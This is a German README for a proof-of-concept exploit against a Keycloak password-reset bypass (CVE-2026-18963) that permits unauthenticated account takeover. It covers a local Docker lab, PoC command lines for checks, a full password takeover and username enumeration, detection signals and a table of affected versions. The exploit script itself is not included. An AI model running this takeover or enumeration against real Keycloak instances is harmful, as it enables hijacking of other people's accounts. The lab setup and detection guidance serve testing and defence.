CVE-2026-18963

Keycloak reset-credentials-Bypass → unauthentifizierte Account-Übernahme CVSS 9.1 | Betroffen: Keycloak 26.0.0 – 26.7.1

Layout

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Voraussetzungen

Docker + Docker Compose
Python 3.9+ (nur Standardbibliothek, nichts zu installieren)
Linux

Schritt 1: Das Lab starten

docker compose up -d

Oder starten Sie Keycloak direkt, ohne den Realm-Import:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Warte ~30–60 Sekunden, bis Keycloak den Startvorgang abgeschlossen hat.

Dienste

Dienst	URL	Version	Status
kc-vuln	http://localhost:8080	26.7.1	ANFÄLLIG ⚠️
Mailpit	http://localhost:8025	latest	Fängt E-Mails ab

Standard-Anmeldedaten

Keycloak-Administrator: admin / admin
Opfer-Benutzer: victim / OriginalPassw0rd!
Realm: poc | Client: poc-app
Konfiguration prüfen: Realm-Einstellungen → Tab „Login“ → Passwort vergessen ist aktiviert.
Falls der Realm poc oder der Benutzer victim fehlt, importiere ihn manuell: Manage realms → Create realm → realm-poc.json hochladen.

Schritt 2: PoC ausführen

Sicherer Check (kein Benutzername erforderlich, keine Nebenwirkungen)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

[!] Erwartetes Ergebnis auf kc-vuln: [!] VULNERABLE — email gate execution served

Zerstörungsfreier Nachweis (stoppt beim Formular „Update Password")

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Nebenwirkungen: Es wird eine E-Mail zum Zurücksetzen an das Opfer gesendet (einsehbar unter http://localhost:8025), und emailVerified wird auf true gesetzt.

Vollständige Übernahme

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Anschließend überprüfen Sie dies, indem Sie sich unter http://localhost:8080/realms/poc/account mit victim / PoCPassw0rd!1 anmelden.

Benutzernamen-Aufzählung

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Schritt 3: Das Opfer in seinen Ausgangszustand zurücksetzen

Die Realm wird nur beim ersten Start importiert, daher besteht der einfachste Reset darin, die Umgebung von Grund auf neu zu erstellen:

docker compose down -v && docker compose up -d

Alternativ können Sie das Passwort manuell in der Administratorkonsole (http://localhost:8080/admin) zurücksetzen: Users → victim → Credentials → Reset password → OriginalPassw0rd!.

Teardown

docker compose down -v

Erkennungssignale

Signal	Legitim	Exploit
`GET /login-actions/action-token?...`	✅ Ja	❌ Nein
`POST .../reset-credentials` mit Body `tryAnotherWay=yes`	❌ Nein	✅ Ja
`SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` mit derselben `code_id` < 2 s	Selten	✅ Immer
`emailVerified` wechselt auf `true` ohne `VERIFY_EMAIL`-Ereignis	❌	✅ Immer

In Mailpit (http://localhost:8025) erreicht die E-Mail zum Zurücksetzen des Passworts das Postfach des Opfers, aber der Link darin wird niemals angeklickt, wenn der Exploit erfolgreich ist.

Betroffene Versionen

Release-Linie	Betroffen	Fix
≤ 17 (WildFly)	Nein	—
26.0 – 26.3	26.0.0 – 26.x.x	Keiner (Wechsel auf 26.7.2 erforderlich)
26.4	26.4.0 – 26.4.14	26.4.15 (Hersteller-Backport)
26.5	26.5.0 – 26.5.7	Keiner
26.6	26.6.0 – 26.6.5	26.6.6 (Hersteller-Backport)
26.7	26.7.0 – 26.7.1	26.7.2 ✅

Versionen vor 26.0 sind nicht betroffen: Der persistente Hinweis AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED und der Auswahlbildschirm „Anderen Weg versuchen“ im Reset-Ablauf wurden in 26.0.0 eingeführt. Ältere Builds verfügen schlicht über keinen anfälligen Codepfad — das ist nicht dasselbe wie gepatcht zu sein.

Referenzen

Sploitus (ursprüngliche README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
Keycloak-Issue: https://github.com/keycloak/keycloak/issues/51833
Fix-PR: https://github.com/keycloak/keycloak/pull/51844
GHSA: GHSA-4gv3-mc9p-5wqc
Red Hat: https://access.redhat.com/security/cve/cve-2026-18963

Keycloak_CVE-2026-18963_PoC

Beliebteste